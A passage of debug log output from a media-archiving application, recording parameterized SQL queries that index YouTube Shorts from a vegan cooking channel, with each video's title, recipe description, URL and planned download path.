s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.755 [debug] QUERY OK source="media_items" db=1.9ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-17 00:00:22Z], 1] 20:31:10.756 [debug] QUERY OK source="media_items" db=0.8ms idle=7.8ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["15-SECOND TORTILLAS 🌮", "03c31e2f-7d92-4d0c-ba5b-c3eb04c14ccf", 1, [], 15, false, "pgcUXZOtaQA", "https://www.youtube.com/shorts/pgcUXZOtaQA", 371, "/downloads/downloads/alec/Steamy Vegan/2022-06-17 15-SECOND TORTILLAS 🌮/15-SECOND TORTILLAS 🌮 [pgcUXZOtaQA].NA", false, false, true, 4, ~U[2022-06-17 00:00:22Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "", "15-SECOND TORTILLAS 🌮", 1, 15, false, "pgcUXZOtaQA", "https://www.youtube.com/shorts/pgcUXZOtaQA", "/downloads/downloads/alec/Steamy Vegan/2022-06-17 15-SECOND TORTILLAS 🌮/15-SECOND TORTILLAS 🌮 [pgcUXZOtaQA].NA", true, ~U[2022-06-17 00:00:22Z]] 20:31:10.757 [debug] QUERY OK source="sources" db=0.9ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.759 [debug] QUERY OK source="media_items" db=1.4ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-16 18:30:48Z], 1] 20:31:10.760 [debug] QUERY OK source="media_items" db=0.8ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Here's a look at what I eat as a vegan when I'm sick. 😮\u200D💨 Hearty stews packed with plant-protein and veggies (plus a little SPICE) always make me feel good. \n\nI used up a bunch of random stuff in my fridge that was half-open or needing to be used -- half a jar of salsa, leftover diced canned tomatoes, pinto beans... you get the picture! Thank goodness it all turned out pretty yummy 😊\n\nMusic by Mark Generous - That One Morning - https://thmatc.co/?l=F6BC605E", "What I eat as a vegan (when I’m sick 🤒)", "4ce020c0-d015-4b03-99d2-d585228bf0d1", 1, [], 35, false, "tSQGetx6LyI", "https://www.youtube.com/shorts/tSQGetx6LyI", 372, "/downloads/downloads/alec/Steamy Vegan/2022-06-16 What I eat as a vegan (when I’m sick 🤒)/What I eat as a vegan (when I’m sick 🤒) [tSQGetx6LyI].NA", false, false, true, 2, ~U[2022-06-16 18:30:48Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Here's a look at what I eat as a vegan when I'm sick. 😮\u200D💨 Hearty stews packed with plant-protein and veggies (plus a little SPICE) always make me feel good. \n\nI used up a bunch of random stuff in my fridge that was half-open or needing to be used -- half a jar of salsa, leftover diced canned tomatoes, pinto beans... you get the picture! Thank goodness it all turned out pretty yummy 😊\n\nMusic by Mark Generous - That One Morning - https://thmatc.co/?l=F6BC605E", "What I eat as a vegan (when I’m sick 🤒)", 1, 35, false, "tSQGetx6LyI", "https://www.youtube.com/shorts/tSQGetx6LyI", "/downloads/downloads/alec/Steamy Vegan/2022-06-16 What I eat as a vegan (when I’m sick 🤒)/What I eat as a vegan (when I’m sick 🤒) [tSQGetx6LyI].NA", true, ~U[2022-06-16 18:30:48Z]] 20:31:10.760 [debug] QUERY OK source="sources" db=0.3ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.762 [debug] QUERY OK source="media_items" db=1.5ms idle=4.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-16 14:00:33Z], 1] 20:31:10.765 [debug] QUERY OK source="media_items" db=1.6ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out what I typically make for lunch on a vegan and gluten free diet. These are quick and easy to make ahead and pack in your lunchbox or great choices to make for a weekend lunch party.\n\nCheck out the full videos here:\n1. Vegan Nourish Bowl: https://youtu.be/QwOW-lZ0uck\n2. Tofu Egg Salad Sandwich: https://youtu.be/W3HgjDni794\n3. Viral Tik Tok Baked Feta Pasta: https://youtu.be/0x08omFb7wA\n4. High Protein Nicoise Salad: https://youtu.be/Ztps-dPnqW8\n\nSubscribe for more daily content and 2 full length videos per week all about eating a vegan and gluten free diet. Thanks for all your support and love!\nJanelle", "My Vegan Lunches Are TOO SEXY for your party! What I Eat For Lunch on a GF Vegan Diet", "e83ee13e-ea5f-4475-be5a-d8144666b9f0", 1, [], 15, false, "xQbn8Eay39M", "https://www.youtube.com/shorts/xQbn8Eay39M", 373, "/downloads/downloads/alec/Steamy Vegan/2022-06-16 My Vegan Lunches Are TOO SEXY for your party! What I Eat For Lunch on a GF Vegan Diet/My Vegan Lunches Are TOO SEXY for your party! What I Eat For Lunch on a GF Vegan Diet [xQbn8Eay39M].NA", false, false, true, 2, ~U[2022-06-16 14:00:33Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Check out what I typically make for lunch on a vegan and gluten free diet. These are quick and easy to make ahead and pack in your lunchbox or great choices to make for a weekend lunch party.\n\nCheck out the full videos here:\n1. Vegan Nourish Bowl: https://youtu.be/QwOW-lZ0uck\n2. Tofu Egg Salad Sandwich: https://youtu.be/W3HgjDni794\n3. Viral Tik Tok Baked Feta Pasta: https://youtu.be/0x08omFb7wA\n4. High Protein Nicoise Salad: https://youtu.be/Ztps-dPnqW8\n\nSubscribe for more daily content and 2 full length videos per week all about eating a vegan and gluten free diet. Thanks for all your support and love!\nJanelle", "My Vegan Lunches Are TOO SEXY for your party! What I Eat For Lunch on a GF Vegan Diet", 1, 15, false, "xQbn8Eay39M", "https://www.youtube.com/shorts/xQbn8Eay39M", "/downloads/downloads/alec/Steamy Vegan/2022-06-16 My Vegan Lunches Are TOO SEXY for your party! What I Eat For Lunch on a GF Vegan Diet/My Vegan Lunches Are TOO SEXY for your party! What I Eat For Lunch on a GF Vegan Diet [xQbn8Eay39M].NA", true, ~U[2022-06-16 14:00:33Z]] 20:31:10.766 [debug] QUERY OK source="sources" db=0.6ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.768 [debug] QUERY OK source="media_items" db=1.8ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-15 23:30:03Z], 1] 20:31:10.769 [debug] QUERY OK source="media_items" db=1.0ms idle=5.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["That's right -- you can toast yam slices just like a piece of bread! 🍠 \n\nI love this hack as yams add extra nutrition to your meals, and offers a delicious texture ☺️ Slice your yams into roughly 1/4\" rounds or a little thicker, and toast them twice. I find that's the perfect amount of time to soften them up just enough so that they're still slightly firm to hold all your yummy toppings. \nTry it sweet or savoury! 🤤 \n\n\nMusic by Mark Generous - White Peony - https://thmatc.co/?l=B7DC5A35", "You can TOAST yams?! 🍠", "7f82d9f6-1c2e-4646-abb3-1797e6eb0ed6", 1, [], 20, false, "dkVL5FfLVzU", "https://www.youtube.com/shorts/dkVL5FfLVzU", 374, "/downloads/downloads/alec/Steamy Vegan/2022-06-15 You can TOAST yams?! 🍠/You can TOAST yams?! 🍠 [dkVL5FfLVzU].NA", false, false, true, 3, ~U[2022-06-15 23:30:03Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "That's right -- you can toast yam slices just like a piece of bread! 🍠 \n\nI love this hack as yams add extra nutrition to your meals, and offers a delicious texture ☺️ Slice your yams into roughly 1/4\" rounds or a little thicker, and toast them twice. I find that's the perfect amount of time to soften them up just enough so that they're still slightly firm to hold all your yummy toppings. \nTry it sweet or savoury! 🤤 \n\n\nMusic by Mark Generous - White Peony - https://thmatc.co/?l=B7DC5A35", "You can TOAST yams?! 🍠", 1, 20, false, "dkVL5FfLVzU", "https://www.youtube.com/shorts/dkVL5FfLVzU", "/downloads/downloads/alec/Steamy Vegan/2022-06-15 You can TOAST yams?! 🍠/You can TOAST yams?! 🍠 [dkVL5FfLVzU].NA", true, ~U[2022-06-15 23:30:03Z]] 20:31:10.770 [debug] QUERY OK source="sources" db=0.4ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.771 [debug] QUERY OK source="media_items" db=1.7ms idle=4.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-15 18:00:27Z], 1] 20:31:10.773 [debug] QUERY OK source="media_items" db=0.7ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This tofu is stupid easy but SO flipping' good! Here's how to make this Sweet Chipotle style tofu:\n\n1 block extra firm tofu, pressed\n1-2 chilies in adobo sauce, minced (depending how spicy you like it 🥵)\n1 tbsp soy sauce (GF and low-sodium if possible)\n1/2 tbsp vegan Worcestershire sauce\n1 tbsp maple syrup\n1/2 tbsp sesame oil\n\nStart by sautéing the chilies in the sesame oil for 1 minute, then add the tofu. Drizzle the soy sauce, Worcestershire and maple syrup. Toss the tofu to coat both sides, then cook on each side for 4 minutes until golden and slightly sticky.\n\nEAT UP!! 🤤🤤🤤\n\nWHAT TO DO WITH THE REST OF YOUR CAN OF CHILIES IN ADOBO? I gotchu, boo: https://youtube.com/shorts/nk9XmouY8O4?feature=share", "The BEST tofu! Sweet Chipotle style 🌶", "32bc1720-8ae4-48b6-8799-07122c0a3d24", 1, [], 27, false, "liffMcODPDM", "https://www.youtube.com/shorts/liffMcODPDM", 375, "/downloads/downloads/alec/Steamy Vegan/2022-06-15 The BEST tofu! Sweet Chipotle style 🌶/The BEST tofu! Sweet Chipotle style 🌶 [liffMcODPDM].NA", false, false, true, 3, ~U[2022-06-15 18:00:27Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "This tofu is stupid easy but SO flipping' good! Here's how to make this Sweet Chipotle style tofu:\n\n1 block extra firm tofu, pressed\n1-2 chilies in adobo sauce, minced (depending how spicy you like it 🥵)\n1 tbsp soy sauce (GF and low-sodium if possible)\n1/2 tbsp vegan Worcestershire sauce\n1 tbsp maple syrup\n1/2 tbsp sesame oil\n\nStart by sautéing the chilies in the sesame oil for 1 minute, then add the tofu. Drizzle the soy sauce, Worcestershire and maple syrup. Toss the tofu to coat both sides, then cook on each side for 4 minutes until golden and slightly sticky.\n\nEAT UP!! 🤤🤤🤤\n\nWHAT TO DO WITH THE REST OF YOUR CAN OF CHILIES IN ADOBO? I gotchu, boo: https://youtube.com/shorts/nk9XmouY8O4?feature=share", "The BEST tofu! Sweet Chipotle style 🌶", 1, 27, false, "liffMcODPDM", "https://www.youtube.com/shorts/liffMcODPDM", "/downloads/downloads/alec/Steamy Vegan/2022-06-15 The BEST tofu! Sweet Chipotle style 🌶/The BEST tofu! Sweet Chipotle style 🌶 [liffMcODPDM].NA", true, ~U[2022-06-15 18:00:27Z]] 20:31:10.773 [debug] QUERY OK source="sources" db=0.3ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.775 [debug] QUERY OK source="media_items" db=1.5ms idle=4.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-15 14:00:05Z], 1] 20:31:10.776 [debug] QUERY OK source="media_items" db=0.9ms idle=5.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These 4 gluten free and vegan recipes are my main breakfast go-to meals. I make the green smoothie at least 5 times per week, the breakfast bowl once per week, the pancakes every 2 weeks, and the breakfast bars at least once every 2 weeks. \n\nI've got a ton of vegan and gluten free breakfast videos on my channel that are quick and easy to make. Check out the full recipe videos for each vegan and gluten free breakfast recipe below:\n1. Quinoa Breakfast Bowls: https://youtu.be/IimdaH0kc8I\n2. Banana Blender Pancakes: https://youtu.be/Ku7a74eh3a8\n3. Apple Cinnamon Breakfast Bars: https://youtu.be/rbG65z34oOI\n4. Green Detox Smoothie: https://youtu.be/NToOA5QK408\n\nOther Breakfast Videos on My Channel\n1. Holiday Baked Oatmeal: https://youtu.be/gmz3tAcd-d4\n2. Cacao Orange Granola: https://youtu.be/QGipOq83NUQ\n3. Quick Vegan Breakfast Ideas: https://youtu.be/IimdaH0kc8I\n4. 3 Different Ways to do Your Smoothies: https://youtu.be/NToOA5QK408\n\nDon't forget to subscribe so you never miss one of my vegan and gluten free recipe videos. I post new videos every week! Thanks for your support!\nJanelle", "What I Eat For Breakfast on a GF Vegan Diet", "649a4bf6-ea01-4f9d-9e59-5fffdb713b84", 1, [], 13, false, "5xsAmIFLJq8", "https://www.youtube.com/shorts/5xsAmIFLJq8", 376, "/downloads/downloads/alec/Steamy Vegan/2022-06-15 What I Eat For Breakfast on a GF Vegan Diet/What I Eat For Breakfast on a GF Vegan Diet [5xsAmIFLJq8].NA", false, false, true, 3, ~U[2022-06-15 14:00:05Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "These 4 gluten free and vegan recipes are my main breakfast go-to meals. I make the green smoothie at least 5 times per week, the breakfast bowl once per week, the pancakes every 2 weeks, and the breakfast bars at least once every 2 weeks. \n\nI've got a ton of vegan and gluten free breakfast videos on my channel that are quick and easy to make. Check out the full recipe videos for each vegan and gluten free breakfast recipe below:\n1. Quinoa Breakfast Bowls: https://youtu.be/IimdaH0kc8I\n2. Banana Blender Pancakes: https://youtu.be/Ku7a74eh3a8\n3. Apple Cinnamon Breakfast Bars: https://youtu.be/rbG65z34oOI\n4. Green Detox Smoothie: https://youtu.be/NToOA5QK408\n\nOther Breakfast Videos on My Channel\n1. Holiday Baked Oatmeal: https://youtu.be/gmz3tAcd-d4\n2. Cacao Orange Granola: https://youtu.be/QGipOq83NUQ\n3. Quick Vegan Breakfast Ideas: https://youtu.be/IimdaH0kc8I\n4. 3 Different Ways to do Your Smoothies: https://youtu.be/NToOA5QK408\n\nDon't forget to subscribe so you never miss one of my vegan and gluten free recipe videos. I post new videos every week! Thanks for your support!\nJanelle", "What I Eat For Breakfast on a GF Vegan Diet", 1, 13, false, "5xsAmIFLJq8", "https://www.youtube.com/shorts/5xsAmIFLJq8", "/downloads/downloads/alec/Steamy Vegan/2022-06-15 What I Eat For Breakfast on a GF Vegan Diet/What I Eat For Breakfast on a GF Vegan Diet [5xsAmIFLJq8].NA", true, ~U[2022-06-15 14:00:05Z]] 20:31:10.777 [debug] QUERY OK source="sources" db=0.5ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.779 [debug] QUERY OK source="media_items" db=1.3ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-14 23:45:00Z], 1] 20:31:10.780 [debug] QUERY OK source="media_items" db=0.6ms idle=5.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These desserts made vegan and gluten free are my absolute favorites. Check out the recipe videos for each below:\n\n1. Dark Chocolate Fruity Nut Clusters: https://youtu.be/Vz0RjvXVJf4\n2. Dark Chocolate Raspberry Scones: https://youtu.be/Vz0RjvXVJf4\n3. Strawberry Rhubarb Pie: https://youtu.be/42Ra2CeeUM8\n4. 7 Ingredient Protein Bars: https://youtu.be/ZjO06fyfHLc\n\nDon't forget to subscribe for more delicious, vegan, and gluten free recipes. I post YouTube Shorts every day and at least 2 full length videos per week! Thanks for your support!\nJanelle", "Dessert = The BEST Meal of the Day", "df172a41-f028-49e0-9dbd-8cd48334786f", 1, [], 13, false, "Z3B3dI3hzjQ", "https://www.youtube.com/shorts/Z3B3dI3hzjQ", 377, "/downloads/downloads/alec/Steamy Vegan/2022-06-14 Dessert = The BEST Meal of the Day/Dessert = The BEST Meal of the Day [Z3B3dI3hzjQ].NA", false, false, true, 3, ~U[2022-06-14 23:45:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "These desserts made vegan and gluten free are my absolute favorites. Check out the recipe videos for each below:\n\n1. Dark Chocolate Fruity Nut Clusters: https://youtu.be/Vz0RjvXVJf4\n2. Dark Chocolate Raspberry Scones: https://youtu.be/Vz0RjvXVJf4\n3. Strawberry Rhubarb Pie: https://youtu.be/42Ra2CeeUM8\n4. 7 Ingredient Protein Bars: https://youtu.be/ZjO06fyfHLc\n\nDon't forget to subscribe for more delicious, vegan, and gluten free recipes. I post YouTube Shorts every day and at least 2 full length videos per week! Thanks for your support!\nJanelle", "Dessert = The BEST Meal of the Day", 1, 13, false, "Z3B3dI3hzjQ", "https://www.youtube.com/shorts/Z3B3dI3hzjQ", "/downloads/downloads/alec/Steamy Vegan/2022-06-14 Dessert = The BEST Meal of the Day/Dessert = The BEST Meal of the Day [Z3B3dI3hzjQ].NA", true, ~U[2022-06-14 23:45:00Z]] 20:31:10.781 [debug] QUERY OK source="sources" db=0.4ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.782 [debug] QUERY OK source="media_items" db=1.6ms idle=4.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-14 19:00:06Z], 1] 20:31:10.785 [debug] QUERY OK source="media_items" db=2.0ms idle=5.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I roasted up all my veggies that were nearing the end of their lifespan and made this DELICIOUS soup. Thanks to Peko Produce for keeping these veggies out of our landfills!\n\nWHAT I USED:\n2 leeks (rescued by Peko!)\n2 orange bell peppers\n1.5 cups grape tomatoes\n1/2 large yellow onion\n4 yellow potatoes\n1/4 cup roasted garlic (about 2 heads)\n4 cups veggie broth (onion bouillon)\n1/2 can coconut milk\n3/4 cup chopped fresh basil\nDrizzle of oil\nSalt & pepper to taste\n\n1. If your leeks are as old and sad as mine, compost the inedible parts, wash the white and light green inner layers, and freeze the stalky green ends for veggie broth.\n2. Spread your potatoes, grape tomatoes, yellow onion, leeks and bell peppers on 2 baking trays, drizzle with a touch of oil plus some salt and pepper and roast for 40 minutes at 425ºF.\n3. Add all the roasted veg to a large stock pot, add 4 cups of broth, half a can of coconut milk and a generous couple spoonfuls of roasted garlic and blend until smooth. Don’t forget salt and pepper! Stir in a boatload of fresh chopped basil and you’re done!\n\nFollow me for more delicious vegan recipes just like this one!\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "Roasted Po-mato Veggie Soup 🥣 don’t toss your sad veggies! ☹️🥕🧄🧅🥔🍅", "0b018818-97ee-4a18-9563-dc1af6705fac", 1, [], 49, false, "IkPQtm0fc-s", "https://www.youtube.com/shorts/IkPQtm0fc-s", 378, "/downloads/downloads/alec/Steamy Vegan/2022-06-14 Roasted Po-mato Veggie Soup 🥣 don’t toss your sad veggies! ☹️🥕🧄🧅🥔🍅/Roasted Po-mato Veggie Soup 🥣 don’t toss your sad veggies! ☹️🥕🧄🧅🥔🍅 [IkPQtm0fc-s].NA", false, false, true, 3, ~U[2022-06-14 19:00:06Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "I roasted up all my veggies that were nearing the end of their lifespan and made this DELICIOUS soup. Thanks to Peko Produce for keeping these veggies out of our landfills!\n\nWHAT I USED:\n2 leeks (rescued by Peko!)\n2 orange bell peppers\n1.5 cups grape tomatoes\n1/2 large yellow onion\n4 yellow potatoes\n1/4 cup roasted garlic (about 2 heads)\n4 cups veggie broth (onion bouillon)\n1/2 can coconut milk\n3/4 cup chopped fresh basil\nDrizzle of oil\nSalt & pepper to taste\n\n1. If your leeks are as old and sad as mine, compost the inedible parts, wash the white and light green inner layers, and freeze the stalky green ends for veggie broth.\n2. Spread your potatoes, grape tomatoes, yellow onion, leeks and bell peppers on 2 baking trays, drizzle with a touch of oil plus some salt and pepper and roast for 40 minutes at 425ºF.\n3. Add all the roasted veg to a large stock pot, add 4 cups of broth, half a can of coconut milk and a generous couple spoonfuls of roasted garlic and blend until smooth. Don’t forget salt and pepper! Stir in a boatload of fresh chopped basil and you’re done!\n\nFollow me for more delicious vegan recipes just like this one!\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "Roasted Po-mato Veggie Soup 🥣 don’t toss your sad veggies! ☹️🥕🧄🧅🥔🍅", 1, 49, false, "IkPQtm0fc-s", "https://www.youtube.com/shorts/IkPQtm0fc-s", "/downloads/downloads/alec/Steamy Vegan/2022-06-14 Roasted Po-mato Veggie Soup 🥣 don’t toss your sad veggies! ☹️🥕🧄🧅🥔🍅/Roasted Po-mato Veggie Soup 🥣 don’t toss your sad veggies! ☹️🥕🧄🧅🥔🍅 [IkPQtm0fc-s].NA", true, ~U[2022-06-14 19:00:06Z]] 20:31:10.785 